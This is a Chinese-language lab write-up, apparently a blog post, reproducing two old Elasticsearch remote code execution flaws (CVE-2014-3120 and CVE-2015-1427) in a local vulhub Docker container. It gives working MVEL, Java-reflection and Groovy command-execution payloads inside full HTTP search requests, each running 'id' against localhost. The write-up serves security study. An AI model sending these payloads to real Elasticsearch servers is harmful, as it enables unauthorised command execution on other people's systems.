【漏洞复现】CVE-2014-3120 & CVE-2015-1427 Expression Injection

CVE-2014-3120漏洞信息

NVD - CVE-2014-3120

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.

老版本的Elasticsearch允许通过JSON请求传入动态脚本,攻击者可以构造包含MVEL代码的查询,从而在服务器上执行任意命令。

CVE-2015-1427漏洞信息

NVD - cve-2015-1427

The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞本质是一个沙盒绕过,共有两个思路:

  • Java 反射:攻击者可以利用Java的反射机制绕过沙盒限制。
  • Groovy 执行:Groovy本身的特性允许攻击者直接执行命令,无需使用Java。

背景介绍

Elasticsearch is an open source distributed, RESTful search and analytics engine, scalable data store, and vector database capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine‑tuned relevancy, and powerful analytics that scale with ease.

主页:https://www.elastic.co/elasticsearch

源码:https://github.com/elastic/elasticsearch

环境搭建

docker-compose.yaml

yaml 复制代码
version: '2'
services:
 es:
   image: vulhub/elasticsearch:1.1.1
   ports:
    - "9200:9200"
    - "9300:9300"

使用Docker Compose构建和启动环境:

sh 复制代码
$ docker-compose up -d

Debug:

sh 复制代码
ERROR: for es  'ContainerConfig'
Traceback (most recent call last):
  File "bin/docker-compose", line 3, in <module>
  File "compose/cli/main.py", line 67, in main
  File "compose/cli/main.py", line 126, in perform_command
  File "compose/cli/main.py", line 1070, in up
  File "compose/cli/main.py", line 1066, in up
  File "compose/project.py", line 648, in up
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/project.py", line 634, in do
  File "compose/service.py", line 579, in execute_convergence_plan
  File "compose/service.py", line 501, in _execute_convergence_recreate
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/service.py", line 494, in recreate
  File "compose/service.py", line 613, in recreate_container
  File "compose/service.py", line 332, in create_container
  File "compose/service.py", line 917, in _get_container_create_options
  File "compose/service.py", line 957, in _build_container_volume_options
  File "compose/service.py", line 1532, in merge_volume_bindings
  File "compose/service.py", line 1562, in get_container_data_volumes
KeyError: 'ContainerConfig'
[5518] Failed to execute script docker-compose

# down --volumes 会停止并删除所有容器和关联的卷
# --remove-orphans 会清除任何不再在 docker-compose.yml 文件中定义的孤立容器
$ docker-compose down --volumes --remove-orphans
$ docker-compose up -d --build

CVE-2014-3120漏洞复现

参考:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120

MVEL是一种用于Java的表达式语言,允许开发者在运行时动态构造和执行代码。由于Elasticsearch在处理查询时允许使用MVEL,攻击者可以通过构造特定的查询来执行Java代码。以下是用于执行系统命令的MVEL代码示例,该代码通过Runtime.getRuntime().exec("id")执行id命令,并返回结果:

java 复制代码
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A").next();

在Elasticsearch中,查询和脚本通常以JSON格式发送。这使得攻击者能够将恶意Java代码嵌入到JSON请求中:

json 复制代码
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }

该漏洞需要Elasticsearch中至少存在一条数据,以便后续执行脚本,在Elasticsearch中创建一条数据:

发送包含MVEL脚本的查询请求,执行任意代码:

POC_1:

http 复制代码
POST /website/blog/ HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
  "name": "phithon"
}

POC_2:

http 复制代码
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

CVE-2015-1427漏洞复现

参考:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427

和CVE-2014-3120一样,由于查询时至少要求ElasticSearch中有至少一条数据,所以发送如下数据包,增加一个数据:

Java沙盒绕过法

第一种思路是利用Java反射机制,Payload如下:

java 复制代码
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
  • java.lang.Math.class.forName("java.lang.Runtime"):通过反射获取 Runtime
  • getRuntime().exec("id"):执行系统命令 id
  • getText():获取命令执行的结果

构造POST请求,注意双引号要进行转义或者换成单引号,否则Expression Injection出错:

POC:

http 复制代码
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 155
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

Goovy直接执行命令法

第二种思路是直接Groovy执行,Payload如下:

groovy 复制代码
def command='id';def res=command.execute().text;res

同理构造POST请求:

POC:

http 复制代码
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 119
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}
相关推荐
用户03284722207010 小时前
如何搭建本地yum源(上)
运维
武子康11 小时前
调查研究-183 Apple container:Mac 上用轻量 VM 跑 Linux 容器,Swift 会改写本地容器体验吗?
docker·容器·apple
Elasticsearch2 天前
如何通过 Claude Code 来写入 CSV 数据到 Elasticsearch
elasticsearch
大树883 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠3 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
大志哥1233 天前
ES和Logstash日志链路系统上线后遭遇切片爆炸(解决)
大数据·elasticsearch
霸道流氓气质3 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
Inhand陈工3 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
Alsn863 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
酣大智3 天前
ARP代理--工作原理
运维·网络·arp·arp代理